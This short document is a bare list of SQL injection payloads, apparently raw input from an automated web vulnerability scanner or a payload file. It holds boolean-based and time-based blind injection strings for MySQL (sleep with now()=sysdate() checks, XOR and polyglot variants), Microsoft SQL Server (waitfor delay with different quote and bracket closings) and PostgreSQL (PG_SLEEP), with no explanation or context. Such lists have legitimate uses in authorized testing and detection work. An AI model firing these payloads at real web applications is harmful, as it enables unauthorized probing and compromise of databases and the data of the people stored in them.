1

-1" OR 2+650-650-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

IfPzIW5t'; waitfor delay '0:0:15' --

Mhn2NYm6'); waitfor delay '0:0:15' --

Zzg3oPlI')); waitfor delay '0:0:15' --

vMKKGsil' OR 291=(SELECT 291 FROM PG_SLEEP(15))--